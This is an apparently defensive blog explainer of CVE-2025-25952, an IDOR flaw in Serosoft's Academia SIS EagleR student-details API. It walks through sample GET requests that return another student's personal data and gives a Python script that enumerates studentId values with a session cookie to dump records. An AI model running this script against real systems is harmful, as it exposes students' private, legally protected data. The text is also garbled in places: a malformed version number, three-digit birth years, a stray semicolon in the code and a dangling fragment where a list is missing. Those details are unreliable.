---

What is CVE-2025-25952?

CVE-2025-25952 is an IDOR (Insecure Direct Object Reference) vulnerability identified in the Academia Student Information System (SIS) EagleR version 1..118 by Serosoft Solutions Pvt Ltd. This bug allows an attacker to view other students' sensitive details simply by changing the studentId parameter in a specific API endpoint.

This long read will tell you, in plain American English, about what CVE-2025-25952 is, how it works, and what you can do about it. You'll see code snippets, example API requests, and references so you can dive deep.

Understanding the Vulnerability

An IDOR happens when a web application takes user input (like an ID number in a URL or request parameter) and uses that directly to retrieve records, without properly checking that the requesting user has permission to view the data.

The problematic endpoint

/getStudemtAllDetailsById?studentId=XX

(Note: "Studemt" is a typo in the endpoint, but it's present in the real software.)

With CVE-2025-25952, any authenticated user—or maybe even an unauthenticated one, in misconfigured cases—can just swap in different numbers for studentId and pull up information for any student in the system!

Evidence: How the Attack Works

Say you're a low-privileged student user at a university running EagleR v1..118. You know your ID, say 101. But you wonder: what happens if you change that number?

Let’s look at a sample HTTP GET request

GET /getStudemtAllDetailsById?studentId=101 HTTP/1.1
Host: sis.university.edu
Cookie: session=abc123

The server replies

{
  "studentId": "101",
  "fullName": "John Smith",
  "dob": "200-01-01",
  "address": "42 Main St, Springfield",
  "parents": [
    {"name": "Mr. Smith"},
    {"name": "Mrs. Smith"}
  ],
  ...
}

Now, you try

GET /getStudemtAllDetailsById?studentId=102 HTTP/1.1

And suddenly, you receive

{
  "studentId": "102",
  "fullName": "Jane Doe",
  "dob": "200-02-24",
  "address": "440 Elm St, Springfield",
  "parents": [
    {"name": "Mr. Doe"},
    {"name": "Mrs. Doe"}
  ],
  ...
}

Just like that, you see Jane’s personal info! There are no access controls. No checks. The app blindly gives out sensitive data.

Exploit Code: Automation Example

Here is a simple Python script using the requests library to dump student records—clearly showing the risk if attackers automate the process:

import requests

# Session cookie from attacker/student user login
cookies = {'session': 'abc123'}

for student_id in range(100, 200):  # Guessing range
    url = f'https://sis.university.edu/getStudemtAllDetailsById?studentId={student_id}';
    resp = requests.get(url, cookies=cookies)
    if resp.status_code == 200 and 'fullName' in resp.text:
        print(f"Student {student_id}: {resp.text}")
    else:
        print(f"ID {student_id}: not found or access denied")

Warning: Do not use on systems you do not own or have permission to test!

Possibly more, depending on data stored

This is all protected under privacy laws (like FERPA in the U.S.), so exposure is a *big deal*.

Upgrade to a patched version.

Contact Serosoft: Serosoft Support

References

- NVD: CVE-2025-25952
- Serosoft Solutions Academia SIS product page
- OWASP: Insecure Direct Object Reference
- FERPA Guidelines

Summary

CVE-2025-25952 is a classic but dangerous example of how failing to restrict access to data by ID can expose tons of private information. If you run this software, patch it, add proper checks, and don’t assume API endpoints are safe by default. This is a reminder that small mistakes can lead to big breaches.


*For feedback or corrections, get in touch or join the OWASP Slack.*

Timeline

Published on: 03/03/2025 01:15:11 UTC
Last modified on: 03/05/2025 18:15:38 UTC